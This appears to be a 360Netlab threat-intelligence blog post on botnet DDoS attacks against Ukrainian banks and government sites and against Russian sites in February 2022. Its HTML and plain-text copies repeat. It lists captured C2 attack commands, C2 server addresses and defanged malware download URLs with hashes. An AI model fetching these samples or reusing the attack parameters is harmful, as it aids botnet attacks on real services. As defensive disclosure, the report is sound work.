2022-02-16 17:39:01+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,37.115.24.108,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 16:48:55+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,249,46.219.126.90,affected=online.oschadbank.ua
2022-02-16 13:41:41+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:25:49+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:23:33+08:00 mirai 5.182.211.5 60195 ddos atk_6 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 11:06:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=10800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 05:04:45+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=21600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 01:02:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 23:00:06+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 21:00:08+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 20:01:13+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:55:36+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:30:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:08:50+08:00 mirai 5.182.211.5 60195 ddos atk_0 185.34.224.121 atk_time=600,netmask=32,,affected=online.oschadbank.ua
2022-02-15 17:42:26+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,affected=online.oschadbank.ua
</code></pre>
<h3 id="2mirai_20914133208">2, mirai_209.141.33.208</h3>
<p>The sample of this C2 has been available since January 25, and the timeline of it dropping samples is shown in the figure below.</p>
<p><img src="__GHOST_URL__/content/images/2022/02/sam_capture_209.141.33.208-1.png" alt="sam_capture_209.141.33.208-1" loading="lazy"></p>
<p>It launched attack against “www.szru.gov.ua” on the 16th.</p>
<pre><code>2022-02-16 05:35:38+08:00 mirai 209.141.33.208 209.141.33.208 9999 atk_2 193.109.8.66 80 {'netmask': 32,'flags': [{'fid': 7,'value': b'80'}]},affected=www.szru.gov.ua
</code></pre>
<h3 id="3gafgyt_1722456134">3, gafgyt_172.245.6.134</h3>
<p>The sample of this C2 started to spread as early as January 29, and the corresponding timeline of sample dropped is.</p>
<p><img src="__GHOST_URL__/content/images/2022/02/sam_capture_172.245.6.134-1.png" alt="sam_capture_172.245.6.134-1" loading="lazy"></p>
<p>The following are some of the attack commands we received.</p>
<pre><code>2022-02-17 01:46:30+08:00 gafgyt 172.245.6.134 61108 ddos OVH 213.156.91.92 uri=/,OVH,213.156.91.92,443,30,1024,affected=mail.uss.gov.ua
2022-02-17 00:08:31+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-17 00:07:40+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,443,60,affected=bank.gov.ua
2022-02-16 22:19:04+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,200,1024,affected=bank.gov.ua
2022-02-16 22:18:33+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.146 uri=/,OVH,193.17.44.146,443,200,1024,affected=bank.gov.ua
2022-02-16 22:07:34+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,60,affected=www.szru.gov.ua
2022-02-16 22:01:44+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,80,30,1024,affected=bank.gov.ua
2022-02-16 21:57:02+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:53:16+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:46:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.29.204.11 uri=/,HEX,193.29.204.11,443,120,affected=www.president.gov.ua
2022-02-16 21:44:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 195.78.68.7 uri=/,HEX,195.78.68.7,80,120,affected=mova-ombudsman.gov.ua
2022-02-16 05:35:27+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,20,affected=fisu.gov.ua
</code></pre>
<h3 id="4gafgyt_1881272375">4, gafgyt_188.127.237.5</h3>
<p>This C2 sample was captured on February 6, and it attacked the “od.tax.gov.ua” website on February 16.</p>
<pre><code>2022-02-16 01:54:00+08:00 gafgyt 188.127.237.5 606 STDHEX 193.200.32.26 STDHEX,193.200.32. 26,80,120,affected=od.tax.gov.ua
</code></pre>
<h2 id="ddosattacksagainstrussia">DDoS attacks against Russia</h2>
<p>Below are <strong>some</strong> of the attack we see against Russian websites. Note here only a small number of victims are displayed, as there are just way too many targets the diagram won’t be readable if we show all of them.</p>
<p><img src="__GHOST_URL__/content/images/2022/02/atk_ru-3.png" alt="atk_ru-3" loading="lazy"></p>
<p>We are counting 25 C2s now related to .ru DDoS attacks so far, as mentioned above the raw data is vast we might need to wait for another time to go through more details but here is a list of the C2s.</p>
<pre><code>gafgyt_195.133.40.71
gafgyt_212.192.241.44
gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
</code></pre>
<h2 id="ioc">IoC</h2>
<pre><code># C2 mirai_5.182.211.5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc 54bd85b40041ba82ae1b57664ee3e958
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 5096be3bab6b9731293472d7cbd78d18
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 70aaa4746150eba8439308096b17d8cc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 9636a88f8543b35d212e240c3094d7bb
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 cc79916e1e472a657a9ae216b2602a7b
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 8f488f3218baec8b75dc6e42e5c90a47
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 c5350546e6d22075ac58f0b4410a9c9a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 59b9988a7132fda4fb89b3758411e9df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 b307dd0043e94400f8632c4d0c4eae0e
# hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 49b9d14010071605549dc0dfb77d5f59
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 e5822f8f9bc541e696f5520b9ad0e627
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 1b7247a2049da033a94375054829335d
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 c2135973f6d059d9dd09a853cfa241fc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 45677381938006bbc019753dfdffb945
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 68ed4532bd6ad79f263715036dee6021
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips 69b51b792b1fca9a268ce7cc1e1857df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips d38cc4879fe0bc66cb8e772b28fbfd15
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 39532b27e2dbd9af85f2da7ff4519467
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 69717fbd6954f16794ff46e4b7c0f58a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.ppc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 0eca53a2dca6384b7b1b7de186e835b5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 b21e118e9f6b4b393719e0669214946a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 340255b25edf28c8de140f3f00306773
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 84c7c39e3f1a4bdfdcfaa4800d410829
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 bfaffefb3cc7f301d017242ca832cf45
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 e2b103a3b74dd0bfd98ffd27ed07f2c6
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64 8be8a51819d7493de15c5ad7471fe1cc
# C2 mirai_209.141.33.208
hxxp://209.141.33.208/bins/Zeus.arm ac9a7a24b3e5229df0e35f99bd8f4dd0
hxxp://209.141.33.208/bins/Zeus.arm5 0592fc8590bb8b01618bd1075bf45971
hxxp://209.141.33.208/bins/Zeus.arm6 a9a286065f59e833ce6310e4ca0a327a
hxxp://209.141.33.208/bins/Zeus.arm7 2a9ad76fbfe573820d89edc832a759a9
hxxp://209.141.33.208/bins/Zeus.m68k 16cc3f8359b55d32f133ecfd78092dcd
hxxp://209.141.33.208/bins/Zeus.mips 75011d511ee19c482cd12271c238d7d3
hxxp://209.141.33.208/bins/Zeus.mpsl f3dd9da090cc830e370dfa3a96128bd0
hxxp://209.141.33.208/bins/Zeus.ppc a7578b554b50cf01c43ebc54c3029fb2
hxxp://209.141.33.208/bins/Zeus.sh4 9798c9f24407da3bb709384f161e20a5
hxxp://209.141.33.208/bins/Zeus.spc 283d7df13561c851d8959f24dce2af99
hxxp://209.141.33.208/bins/Zeus.x86 d1bf7c6e6dde347ea3414cbf38b4e25f
# C2 gafgyt_172.245.6.134
hxxp://172.245.6.134:80/bins/arc ed6013177b8c7e61f936c14b698c7bdc
hxxp://172.245.6.134:80/bins/arm 89bb874db266e9aa4d9c07e994a0f02d
hxxp://172.245.6.134:80/bins/arm5 6a9587b5c95d16ce915c3218aa0ef68c
hxxp://172.245.6.134:80/bins/arm6 53526f9affd4d2219e6a33d497ef17f3
hxxp://172.245.6.134:80/bins/arm7 831353dd99cae5bb9ae7dcf125bbe46c
hxxp://172.245.6.134:80/bins/m68k ad59c219813642fc8d9af23131db12d1
hxxp://172.245.6.134:80/bins/mips 72e13614d7f45adce589d3ab6a855653
hxxp://172.245.6.134:80/bins/mpsl 9d2ed5fb9b586cb369b63aea5ee9c49e
hxxp://172.245.6.134:80/bins/ppc 4b0b53b2f13ceb16b14f8cf7596682bc
hxxp://172.245.6.134:80/bins/sh4 8e26db0a91c6cc2c410764d1f32bbac3
hxxp://172.245.6.134:80/bins/spc 13ead0d75d2fcdf53c7d6d8f40f615f4
hxxp://172.245.6.134:80/bins/x86 015ed26cc1656246177004eab5c059fe
hxxp://172.245.6.134:80/bins/x86 67d2f13fcd2622c85d974a6c41c285a4
# C2: gafgyt_188.127.237.5
hxxp://188.127.237.5/a-r.m-4.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/a-r.m-5.Sakura 870e6969eb7db126e945cfd7e9a2ed5f
hxxp://188.127.237.5/a-r.m-6.Sakura 619517a7ff244de1dc574d2ffb6553d3
hxxp://188.127.237.5/a-r.m-7.Sakura 478ab4262768222839d51c7ea2e5e46f
hxxp://188.127.237.5/i-5.8-6.Sakura 03f6aeda4b403cead904240faec8d32f
hxxp://188.127.237.5/m-6.8-k.Sakura d3dd19a2ae9228ca71bdf58e3450e205
hxxp://188.127.237.5/m-i.p-s.Sakura 2a2cc9b33cfefc1f8dcf4eed09666ddc
hxxp://188.127.237.5/m-p.s-l.Sakura 37f0100946589aeacdc647ccb14e9baa
hxxp://188.127.237.5/p-p.c-.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/s-h.4-.Sakura df831e3d07da42cfa5acf95ef97a753a
hxxp://188.127.237.5/x-3.2-.Sakura 8c2a26b9171964d12739addb750f2782
hxxp://188.127.237.5/x-8.6-.Sakura 9612862c128b5df388258a2e76e811a0
C2 used to attack .ru sites:
gafgyt_195.133.40.71
gafgyt_212.192.241.44
gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
</code></pre>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to <a href="[email protected]">netlab at 360 dot cn</a>.</p>
<!--kg-card-end: markdown--> | At 360Netlab, we continuously track botnets on a global scale through our BotMon system. In particular, for DDoS-related botnets, we further tap into their C2 communications to enable us really see the details of the attacks. Equipped with this visibility, when attack happens, we can have a clear picture of who the victim is, when, and exactly how the attack is carried out.
With the recent tensions between Russia and Ukraine, various government, military and financial institutions on both sides have been DDoSed. We have received inquiries from multiple channels about the specifics of the recent DDoS attacks on Ukrainian and Russian related websites, if we want a comprehensive and thorough analysis, there are tons of data still need to be combed through, this blog is only written to give our readers some quick updates, depends on the situation, we might have more in-depth ones to follow up.
DDoS attacks against Ukraine
The chart below shows the trend of attacks we have seen against some of the government websites.
You can see that the attacks started as early as February 12, and continued to grow in number and intensity, peaking on February 16, with a mix of NTP amplification, UDP/STD/OVH floods, and other types of attacks.
Below is the DDoS attack we saw against another website ending in .ua, “online.oschadbank.ua”.
This particular C2 came online on 2/11 and sent its first attack command to its bots at 2022-02-16 03:02:37+08:00, and it only launched attacks targeting four 185.34.x.x/24 IPs(all belongs to UA bank oschadbank.ua), the last attack commands we received from it is at 2022-02-17 01:08:27+08:00. We informed security community internally about this C2 and consequently it has be taken down.
Other than the NTP amplification attacks, the majority of DDoS attacks captured are botnet based, so far involving five different types of botnets(mirai, gafgyt, ircbot,ripprbot,moobot), more than 10 unique C2 IPs. Here we are not going to go over all the C2s’ technique details, but some brief breakdowns on 4.
1, mirai_5.182.211.5
As mentioned earlier, this C2 attacked only one target, “oschadbank.ua”, during its active period (2022-02-11 to 2022-02-17). Our honeypot saw its samples continuously, and some of the URLs and MD5s are:
e5822f8f9bc541e696f5520b9ad0e627 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486
39532b27e2dbd9af85f2da7ff4519467 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl
69b51b792b1fca9a268ce7cc1e1857df http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips
70aaa4746150eba8439308096b17d8cc http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm
68ed4532bd6ad79f263715036dee6021 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k
54bd85b40041ba82ae1b57664ee3e958 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc
1b7247a2049da033a94375054829335d http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686
ac4d8d0010775e185e12604c0e304685 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64
0eca53a2dca6384b7b1b7de186e835b5 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4
cc79916e1e472a657a9ae216b2602a7b http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5
8f488f3218baec8b75dc6e42e5c90a47 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6
b307dd0043e94400f8632c4d0c4eae0e http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7
340255b25edf28c8de140f3f00306773 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc
e2b103a3b74dd0bfd98ffd27ed07f2c6 http://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
The samples are all Mirai variant with strong Mirai code features, retaining typical Mirai functions such as table_init() and attack_init(). The following are some of the attack commands it sent to its bots.
2022-02-16 21:27:44+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:},443,online.oschadbank.ua,affected=online.oschadbank.ua
2022-02-16 21:19:04+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:}
2022-02-16 21:06:14+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=600,netmask=32,109.110.75.23,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 19:17:12+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,109.254.6.88,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:55:07+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,1,93.188.39.70,443,1,1,affected=online.oschadbank.ua
2022-02-16 18:34:18+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,91.206.111.88,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 18:15:23+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,78.26.168.101,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:55:35+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1200,netmask=32,195.182.202.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:39:01+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,37.115.24.108,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 17:24:37+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua
2022-02-16 16:48:55+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=900,netmask=32,443,1,1,1,249,46.219.126.90,affected=online.oschadbank.ua
2022-02-16 13:41:41+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:25:49+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua
2022-02-16 13:23:33+08:00 mirai 5.182.211.5 60195 ddos atk_6 185.34.224.121 atk_time=120,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 11:06:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=10800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 05:04:45+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=21600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-16 01:02:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 23:00:06+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 21:00:08+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 20:01:13+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:55:36+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:30:32+08:00 mirai 5.182.211.5 60195 ddos atk_5 185.34.224.121 atk_time=1800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua
2022-02-15 18:08:50+08:00 mirai 5.182.211.5 60195 ddos atk_0 185.34.224.121 atk_time=600,netmask=32,,affected=online.oschadbank.ua
2022-02-15 17:42:26+08:00 mirai 5.182.211.5 60195 ddos atk_7 185.34.224.121 atk_time=600,netmask=32,online.oschadbank.ua,affected=online.oschadbank.ua
2, mirai_209.141.33.208
The sample of this C2 has been available since January 25, and the timeline of it dropping samples is shown in the figure below.
It launched attack against “www.szru.gov.ua” on the 16th.
2022-02-16 05:35:38+08:00 mirai 209.141.33.208 209.141.33.208 9999 atk_2 193.109.8.66 80 {'netmask': 32,'flags': [{'fid': 7,'value': b'80'}]},affected=www.szru.gov.ua
3, gafgyt_172.245.6.134
The sample of this C2 started to spread as early as January 29, and the corresponding timeline of sample dropped is.
The following are some of the attack commands we received.
2022-02-17 01:46:30+08:00 gafgyt 172.245.6.134 61108 ddos OVH 213.156.91.92 uri=/,OVH,213.156.91.92,443,30,1024,affected=mail.uss.gov.ua
2022-02-17 00:08:31+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-17 00:07:40+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,443,60,affected=bank.gov.ua
2022-02-16 22:19:04+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,200,1024,affected=bank.gov.ua
2022-02-16 22:18:33+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.146 uri=/,OVH,193.17.44.146,443,200,1024,affected=bank.gov.ua
2022-02-16 22:07:34+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,60,affected=www.szru.gov.ua
2022-02-16 22:01:44+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.17.44.146 uri=/,HEX,193.17.44.146,80,30,1024,affected=bank.gov.ua
2022-02-16 21:57:02+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:53:16+08:00 gafgyt 172.245.6.134 61108 ddos OVH 193.17.44.246 uri=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua
2022-02-16 21:46:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.29.204.11 uri=/,HEX,193.29.204.11,443,120,affected=www.president.gov.ua
2022-02-16 21:44:41+08:00 gafgyt 172.245.6.134 61108 ddos HEX 195.78.68.7 uri=/,HEX,195.78.68.7,80,120,affected=mova-ombudsman.gov.ua
2022-02-16 05:35:27+08:00 gafgyt 172.245.6.134 61108 ddos HEX 193.109.8.66 uri=/,HEX,193.109.8.66,80,20,affected=fisu.gov.ua
4, gafgyt_188.127.237.5
This C2 sample was captured on February 6, and it attacked the “od.tax.gov.ua” website on February 16.
2022-02-16 01:54:00+08:00 gafgyt 188.127.237.5 606 STDHEX 193.200.32.26 STDHEX,193.200.32. 26,80,120,affected=od.tax.gov.ua
DDoS attacks against Russia
Below are some of the attack we see against Russian websites. Note here only a small number of victims are displayed, as there are just way too many targets the diagram won’t be readable if we show all of them.
We are counting 25 C2s now related to .ru DDoS attacks so far, as mentioned above the raw data is vast we might need to wait for another time to go through more details but here is a list of the C2s.
gafgyt_195.133.40.71
gafgyt_212.192.241.44
gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
IoC
# C2 mirai_5.182.211.5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc 54bd85b40041ba82ae1b57664ee3e958
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 5096be3bab6b9731293472d7cbd78d18
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm 70aaa4746150eba8439308096b17d8cc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 9636a88f8543b35d212e240c3094d7bb
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5 cc79916e1e472a657a9ae216b2602a7b
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 8f488f3218baec8b75dc6e42e5c90a47
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6 c5350546e6d22075ac58f0b4410a9c9a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 59b9988a7132fda4fb89b3758411e9df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7 b307dd0043e94400f8632c4d0c4eae0e
